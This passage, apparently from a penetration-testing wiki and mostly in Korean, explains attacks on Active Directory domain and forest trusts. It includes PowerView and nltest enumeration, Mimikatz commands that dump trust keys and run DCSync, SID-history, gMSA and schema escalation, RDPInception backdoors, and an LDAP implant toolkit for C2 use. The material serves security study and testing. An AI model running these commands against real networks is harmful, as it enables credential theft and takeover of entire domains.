  • Parent-Child Trusts: ๋™์ผํ•œ ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์—์„œ ํ”ํ•œ ๊ตฌ์„ฑ์œผ๋กœ, ์ž์‹ ๋„๋ฉ”์ธ์€ ์ž๋™์œผ๋กœ ๋ถ€๋ชจ ๋„๋ฉ”์ธ๊ณผ ์–‘๋ฐฉํ–ฅ ์ „์ด์ (transitive) ํŠธ๋Ÿฌ์ŠคํŠธ๋ฅผ ๊ฐ–์Šต๋‹ˆ๋‹ค. ์ฆ‰ ์ธ์ฆ ์š”์ฒญ์ด ๋ถ€๋ชจ์™€ ์ž์‹ ๊ฐ„์— ์›ํ™œํ•˜๊ฒŒ ํ๋ฆ…๋‹ˆ๋‹ค.
  • Cross-link Trusts: โ€œshortcut trustsโ€œ๋ผ๊ณ ๋„ ํ•˜๋ฉฐ, ์ž์‹ ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋˜์–ด ์ฐธ์กฐ ๊ณผ์ •์„ ๋‹จ์ถ•ํ•ฉ๋‹ˆ๋‹ค. ๋ณต์žกํ•œ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ ์ธ์ฆ ์ฐธ์กฐ๋Š” ๋ณดํ†ต ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ๊นŒ์ง€ ์˜ฌ๋ผ๊ฐ”๋‹ค๊ฐ€ ๋Œ€์ƒ ๋„๋ฉ”์ธ์œผ๋กœ ๋‚ด๋ ค๊ฐ€์•ผ ํ•ฉ๋‹ˆ๋‹ค. cross-link๋ฅผ ์ƒ์„ฑํ•˜๋ฉด ์ด ๊ฒฝ๋กœ๊ฐ€ ๋‹จ์ถ•๋˜์–ด ์ง€๋ฆฌ์ ์œผ๋กœ ๋ถ„์‚ฐ๋œ ํ™˜๊ฒฝ์—์„œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • External Trusts: ์„œ๋กœ ๊ด€๋ จ ์—†๋Š” ๋‹ค๋ฅธ ๋„๋ฉ”์ธ ๊ฐ„์— ์„ค์ •๋˜๋ฉฐ ์ „์ด์ ์ด ์•„๋‹™๋‹ˆ๋‹ค. Microsoft ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด external trusts๋Š” ํฌ๋ฆฌ์ŠคํŠธ ํŠธ๋Ÿฌ์ŠคํŠธ๋กœ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์ง€ ์•Š์€ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. External trusts์—๋Š” SID ํ•„ํ„ฐ๋ง์ด ์ ์šฉ๋˜์–ด ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋ฉ๋‹ˆ๋‹ค.
  • Tree-root Trusts: ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ ๋„๋ฉ”์ธ๊ณผ ์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ํŠธ๋ฆฌ ๋ฃจํŠธ ๊ฐ„์— ์ž๋™์œผ๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. ์ž์ฃผ ์ ‘ํ•˜์ง€๋Š” ์•Š์ง€๋งŒ, ํฌ๋ฆฌ์ŠคํŠธ์— ์ƒˆ๋กœ์šด ๋„๋ฉ”์ธ ํŠธ๋ฆฌ๋ฅผ ์ถ”๊ฐ€ํ•  ๋•Œ ์ค‘์š”ํ•˜๋ฉฐ ๋‘ ๋ฐฉํ–ฅ ์ „์ด์„ฑ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ Microsoft ๊ฐ€์ด๋“œ๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.
  • Forest Trusts: ๋‘ ํฌ๋ฆฌ์ŠคํŠธ ๋ฃจํŠธ ๋„๋ฉ”์ธ ๊ฐ„์˜ ์–‘๋ฐฉํ–ฅ ์ „์ด์  ํŠธ๋Ÿฌ์ŠคํŠธ๋กœ, SID ํ•„ํ„ฐ๋ง์„ ํ†ตํ•ด ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋ฉ๋‹ˆ๋‹ค.
  • MIT Trusts: RFC4120์„ ์ค€์ˆ˜ํ•˜๋Š” ๋น„-Windows Kerberos ๋„๋ฉ”์ธ๊ณผ ์„ค์ •๋˜๋Š” ํŠธ๋Ÿฌ์ŠคํŠธ์ž…๋‹ˆ๋‹ค. MIT trusts๋Š” ๋น„-Windows Kerberos ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ๊ณผ ํ†ตํ•ฉ์ด ํ•„์š”ํ•œ ํ™˜๊ฒฝ์— ํŠนํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ ๋ขฐ ๊ด€๊ณ„์˜ ๋‹ค๋ฅธ ์ฐจ์ด์ 

  • ํŠธ๋Ÿฌ์ŠคํŠธ ๊ด€๊ณ„๋Š” **์ „์ด์ (transitive)**์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: A๋Š” B๋ฅผ ์‹ ๋ขฐํ•˜๊ณ  B๋Š” C๋ฅผ ์‹ ๋ขฐํ•˜๋ฉด A๋Š” C๋ฅผ ์‹ ๋ขฐ) ๋˜๋Š” **๋น„์ „์ด์ (non-transitive)**์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํŠธ๋Ÿฌ์ŠคํŠธ ๊ด€๊ณ„๋Š” ์–‘๋ฐฉํ–ฅ ํŠธ๋Ÿฌ์ŠคํŠธ(์„œ๋กœ ์‹ ๋ขฐ) ๋˜๋Š” ๋‹จ๋ฐฉํ–ฅ ํŠธ๋Ÿฌ์ŠคํŠธ(ํ•œ์ชฝ๋งŒ ์‹ ๋ขฐ)๋กœ ์„ค์ •๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ๊ฒฝ๋กœ

  1. ์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์—ด๊ฑฐ(enumerate) ํ•ฉ๋‹ˆ๋‹ค.
  2. ์–ด๋–ค security principal(user/group/computer)์ด ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค(ACE ํ•ญ๋ชฉ์ด๋‚˜ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ๋Š”์ง€ ๋“ฑ). ๋„๋ฉ”์ธ ๊ฐ„ ๊ด€๊ณ„๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”(ํŠธ๋Ÿฌ์ŠคํŠธ๋Š” ์•„๋งˆ ์ด๋ฅผ ์œ„ํ•ด ์ƒ์„ฑ๋˜์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค).
  3. ์ด ๊ฒฝ์šฐ kerberoast๋„ ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  4. ๋„๋ฉ”์ธ ๊ฐ„ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณ„์ •๋“ค์„ ํƒˆ์ทจ(compromise) ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ๋„๋ฉ”์ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ์ฃผ๋กœ ์„ธ ๊ฐ€์ง€ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋กœ์ปฌ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ: ์›๊ฒฉ ๋จธ์‹ ์˜ โ€œAdministratorsโ€ ๊ทธ๋ฃน ๊ฐ™์€ ๋กœ์ปฌ ๊ทธ๋ฃน์— principal์ด ์ถ”๊ฐ€๋˜์–ด ํ•ด๋‹น ๋จธ์‹ ์— ๋Œ€ํ•œ ์ƒ๋‹นํ•œ ์ œ์–ด๊ถŒ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์™ธ๋ถ€ ๋„๋ฉ”์ธ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ: principal์ด ์™ธ๋ถ€ ๋„๋ฉ”์ธ์˜ ๊ทธ๋ฃน ๋ฉค๋ฒ„์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด ๋ฐฉ๋ฒ•์˜ ํšจ์œจ์„ฑ์€ ํŠธ๋Ÿฌ์ŠคํŠธ์˜ ํŠน์„ฑ๊ณผ ๊ทธ๋ฃน์˜ ๋ฒ”์œ„์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.
  • Access Control Lists (ACLs): principal์ด ACE๋กœ์„œ DACL ๋‚ด์— ๋ช…์‹œ๋˜์–ด ํŠน์ • ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ACL, DACL, ACE์˜ ์ž‘๋™ ์›๋ฆฌ๋ฅผ ๋” ๊นŠ์ด ์ดํ•ดํ•˜๋ ค๋ฉด ๋ฐฑ์„œ โ€œAn ACE Up The Sleeveโ€๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.

๊ถŒํ•œ์ด ์žˆ๋Š” ์™ธ๋ถ€ ์‚ฌ์šฉ์ž/๊ทธ๋ฃน ์ฐพ๊ธฐ

๋„๋ฉ”์ธ์—์„œ ์™ธ๋ถ€ ๋ณด์•ˆ ์ฃผ์ฒด(foreign security principals)๋ฅผ ์ฐพ์œผ๋ ค๋ฉด **CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com**์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ/ํฌ๋ฆฌ์ŠคํŠธ์˜ ์‚ฌ์šฉ์ž/๊ทธ๋ฃน์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

์ด๋Š” Bloodhound์—์„œ ํ™•์ธํ•˜๊ฑฐ๋‚˜ powerview๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Get users that are i groups outside of the current domain
Get-DomainForeignUser

# Get groups inside a domain with users our
Get-DomainForeignGroupMember

Child-to-Parent forest privilege escalation

# Fro powerview
Get-DomainTrust

SourceName      : sub.domain.local    --> current domain
TargetName      : domain.local        --> foreign domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
WhenCreated     : 2/19/2021 1:28:00 PM
WhenChanged     : 2/19/2021 1:28:00 PM

๋„๋ฉ”์ธ ํŠธ๋Ÿฌ์ŠคํŠธ๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•:

# Get DCs
nltest /dsgetdc:<DOMAIN>

# Get all domain trusts
nltest /domain_trusts /all_trusts /v

# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

Warning

์‹ ๋ขฐ๋œ ํ‚ค๊ฐ€ 2๊ฐœ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜๋‚˜๋Š” _Child โ€“> Parent_์šฉ์ด๊ณ  ๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” Parent โ€“> _Child_์šฉ์ž…๋‹ˆ๋‹ค.
ํ˜„์žฌ ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํ‚ค๋Š” ๋‹ค์Œ์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

SID-History Injection

์‹ ๋ขฐ๋ฅผ ์•…์šฉํ•œ SID-History injection์œผ๋กœ child/parent ๋„๋ฉ”์ธ์—์„œ Enterprise admin์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SID-History Injection

Exploit writeable Configuration NC

Configuration Naming Context (NC)์„ ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. Configuration NC๋Š” Active Directory (AD) ํ™˜๊ฒฝ์—์„œ ํฌ๋ฆฌ์ŠคํŠธ ์ „์ฒด์˜ ๊ตฌ์„ฑ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋Š” ์ค‘์•™ ์ €์žฅ์†Œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐ์ดํ„ฐ๋Š” ํฌ๋ฆฌ์ŠคํŠธ์˜ ๋ชจ๋“  Domain Controller (DC)์— ๋ณต์ œ๋˜๋ฉฐ, ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ DC๋Š” Configuration NC์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ณต์‚ฌ๋ณธ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด DC์—์„œ์˜ SYSTEM ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, ๊ฐ€๋Šฅํ•˜๋ฉด child DC๊ฐ€ ๋ฐ”๋žŒ์งํ•ฉ๋‹ˆ๋‹ค.

Link GPO to root DC site

Configuration NC์˜ Sites ์ปจํ…Œ์ด๋„ˆ์—๋Š” AD ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์˜ ๋ชจ๋“  ๋„๋ฉ”์ธ ๊ฐ€์ž… ์ปดํ“จํ„ฐ๋“ค์˜ ์‚ฌ์ดํŠธ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋А DC์—์„œ๋“  SYSTEM ๊ถŒํ•œ์œผ๋กœ ์ž‘๋™ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” GPO๋ฅผ root DC ์‚ฌ์ดํŠธ์— ๋งํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์กฐ์น˜๋Š” ํ•ด๋‹น ์‚ฌ์ดํŠธ์— ์ ์šฉ๋˜๋Š” ์ •์ฑ…์„ ์กฐ์ž‘ํ•˜์—ฌ ๋ฃจํŠธ ๋„๋ฉ”์ธ์„ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ ์—ฐ๊ตฌ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”: Bypassing SID Filtering.

Compromise any gMSA in the forest

๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” ๋„๋ฉ”์ธ ๋‚ด์˜ ๊ถŒํ•œ ์žˆ๋Š” gMSA๋ฅผ ํ‘œ์ ์œผ๋กœ ์‚ผ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. gMSA์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ธ KDS Root key๋Š” Configuration NC์— ์ €์žฅ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋А DC์—์„œ๋“  SYSTEM ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด KDS Root key์— ์ ‘๊ทผํ•ด ํฌ๋ฆฌ์ŠคํŠธ ์ „์ฒด์˜ ๋ชจ๋“  gMSA ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋ถ„์„ ๋ฐ ๋‹จ๊ณ„๋ณ„ ์•ˆ๋‚ด๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Golden Dmsa Gmsa

๋ณด์™„์ ์ธ delegated MSA ๊ณต๊ฒฉ (BadSuccessor โ€“ migration attributes ์•…์šฉ):

Badsuccessor Dmsa Migration Abuse

์ถ”๊ฐ€ ์™ธ๋ถ€ ์—ฐ๊ตฌ: Golden gMSA Trust Attacks.

Schema change attack

์ด ๋ฐฉ๋ฒ•์€ ์ƒˆ๋กœ์šด ๊ถŒํ•œ ์žˆ๋Š” AD ๊ฐ์ฒด๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ๊นŒ์ง€ ์ธ๋‚ด์‹ฌ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค. SYSTEM ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๋Š” AD Schema๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ๋ชจ๋“  ํด๋ž˜์Šค์— ๋Œ€ํ•ด ์ž„์˜์˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์ฒด ์ œ์–ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ƒˆ๋กœ ์ƒ์„ฑ๋˜๋Š” AD ๊ฐ์ฒด์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ ๋ฐ ์ œ์–ด๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”๊ฐ€ ์ฝ์„๊ฑฐ๋ฆฌ๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: Schema Change Trust Attacks.

From DA to EA with ADCS ESC5

ADCS ESC5 ์ทจ์•ฝ์ ์€ PKI ๊ฐ์ฒด์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๋ชฉํ‘œ๋กœ ํ•˜์—ฌ ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์˜ ์ž„์˜ ์‚ฌ์šฉ์ž๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ๋Š” ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. PKI ๊ฐ์ฒด๋Š” Configuration NC์— ์กด์žฌํ•˜๋ฏ€๋กœ, ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ child DC๋ฅผ ์นจํ•ดํ•˜๋ฉด ESC5 ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: From DA to EA with ESC5. ADCS๊ฐ€ ์—†๋Š” ํ™˜๊ฒฝ์—์„œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ํ•„์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ์ง์ ‘ ์„ค์ •ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ด€๋ จ ๋‚ด์šฉ์€ Escalating from Child Domain Admins to Enterprise Admins๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

External Forest Domain - One-Way (Inbound) or bidirectional

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ์ด ๋‹น์‹ ์˜ ๋„๋ฉ”์ธ์„ ์‹ ๋ขฐํ•˜์—ฌ ๋‹น์‹ ์—๊ฒŒ ํ•ด๋‹น ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ํ™•์ •๋˜์ง€ ์•Š์€ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ๋‹น์‹ ์€ ๋„๋ฉ”์ธ ๋‚ด ์–ด๋–ค ์ฃผ์ฒด๊ฐ€ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ์–ด๋–ค ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๋Š”์ง€ ์ฐพ์•„๋‚ธ ๋‹ค์Œ ์ด๋ฅผ ์•…์šฉํ•˜๋ ค ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

External Forest Domain - OneWay (Inbound) or bidirectional

์™ธ๋ถ€ ํฌ๋ฆฌ์ŠคํŠธ ๋„๋ฉ”์ธ - ์ผ๋ฐฉํ–ฅ(์•„์›ƒ๋ฐ”์šด๋“œ)

Get-DomainTrust -Domain current.local

SourceName      : current.local   --> Current domain
TargetName      : external.local  --> Destination domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound        --> Outbound trust
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

In this scenario your domain is trusting some privileges to principal from a different domains.

However, when a domain is trusted by the trusting domain, the trusted domain creates a user with a predictable name that uses as password the trusted password. Which means that itโ€™s possible to access a user from the trusting domain to get inside the trusted one to enumerate it and try to escalate more privileges:

External Forest Domain - One-Way (Outbound)

๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ trusted domain์„ ์†์ƒ์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์€ ๋„๋ฉ”์ธ ํŠธ๋Ÿฌ์ŠคํŠธ์˜ opposite direction์— ์ƒ์„ฑ๋œ SQL trusted link๋ฅผ ์ฐพ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค(์ด ๊ฒฝ์šฐ๋Š” ํ”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค).

๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ trusted domain์˜ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋จธ์‹ ์—์„œ ๊ธฐ๋‹ค๋ ธ๋‹ค๊ฐ€ ๊ทธ ์‚ฌ์šฉ์ž๊ฐ€ RDP๋กœ ๋กœ๊ทธ์ธํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž๋Š” RDP ์„ธ์…˜ ํ”„๋กœ์„ธ์Šค์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ๊ทธ๊ณณ์—์„œ access the origin domain of the victimํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ฒŒ๋‹ค๊ฐ€, ๋งŒ์•ฝ victim mounted his hard drive ์ƒํƒœ๋ผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” RDP session ํ”„๋กœ์„ธ์Šค์—์„œ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ์˜ startup folder of the hard drive์— backdoors๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์„ **RDPInception.**์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

RDP Sessions Abuse

๋„๋ฉ”์ธ ํŠธ๋Ÿฌ์ŠคํŠธ ๋‚จ์šฉ ์™„ํ™”

SID Filtering:

  • SID Filtering์€ ํฌ๋ฆฌ์ŠคํŠธ ๊ฐ„ ํŠธ๋Ÿฌ์ŠคํŠธ์—์„œ SID history ์†์„ฑ์„ ์•…์šฉํ•œ ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๋ฉฐ, ๋ชจ๋“  ํฌ๋ฆฌ์ŠคํŠธ ๊ฐ„ ํŠธ๋Ÿฌ์ŠคํŠธ์—์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Microsoft์˜ ๊ด€์ ์—์„œ ํฌ๋ฆฌ์ŠคํŠธ๋ฅผ ๋ณด์•ˆ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผํ•˜๊ณ  ๋„๋ฉ”์ธ ๊ฐ„ ํŠธ๋Ÿฌ์ŠคํŠธ๋ฅผ ์•ˆ์ „ํ•˜๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋Š” ์ ‘๊ทผ๋ฒ•์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค.
  • ๋‹ค๋งŒ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: SID Filtering์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์‚ฌ์šฉ์ž ์ ‘๊ทผ์„ ๋ฐฉํ•ดํ•  ์ˆ˜ ์žˆ์–ด ๋•Œ๋•Œ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

Selective Authentication:

  • ํฌ๋ฆฌ์ŠคํŠธ ๊ฐ„ ํŠธ๋Ÿฌ์ŠคํŠธ์˜ ๊ฒฝ์šฐ Selective Authentication์„ ์‚ฌ์šฉํ•˜๋ฉด ๋‘ ํฌ๋ฆฌ์ŠคํŠธ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ์ž๋™์œผ๋กœ ์ธ์ฆ๋˜์ง€ ์•Š๋„๋ก ํ•˜๊ณ , ๋Œ€์‹  ์‹ ๋ขฐ ๋„๋ฉ”์ธ ๋˜๋Š” ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์˜ ๋„๋ฉ”์ธ๊ณผ ์„œ๋ฒ„์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๋ช…์‹œ์ ์ธ ๊ถŒํ•œ์ด ์š”๊ตฌ๋ฉ๋‹ˆ๋‹ค.
  • ์ด ์กฐ์น˜๋“ค์ด writable Configuration Naming Context (NC)๋‚˜ ํŠธ๋Ÿฌ์ŠคํŠธ ๊ณ„์ • ๊ณต๊ฒฉ์„ ๋ง‰์•„์ฃผ์ง€๋Š” ์•Š๋Š”๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

More information about domain trusts in ired.team.

LDAP-based AD Abuse from On-Host Implants

The LDAP BOF Collection re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, load ldap.axs, and then call ldap <subcommand> from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.

Implant-side LDAP ์—ด๊ฑฐ

  • get-users, get-computers, get-groups, get-usergroups, and get-groupmembers๋Š” ์งง์€ ์ด๋ฆ„/OU ๊ฒฝ๋กœ๋ฅผ ์ „์ฒด DN์œผ๋กœ ํ•ด์„ํ•˜์—ฌ ํ•ด๋‹น ๊ฐ์ฒด๋“ค์„ ๋คํ”„ํ•ฉ๋‹ˆ๋‹ค.
  • get-object, get-attribute, and get-domaininfo๋Š” ์ž„์˜์˜ ์†์„ฑ(๋ณด์•ˆ ์„ค๋ช…์ž ํฌํ•จ)๊ณผ rootDSE๋กœ๋ถ€ํ„ฐ ํฌ๋ฆฌ์ŠคํŠธ/๋„๋ฉ”์ธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  • get-uac, get-spn, get-delegation, and get-rbcd๋Š” roasting ํ›„๋ณด, delegation ์„ค์ •, ๊ทธ๋ฆฌ๊ณ  LDAP์—์„œ ์ง์ ‘ ์กด์žฌํ•˜๋Š” Resource-based Constrained Delegation ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
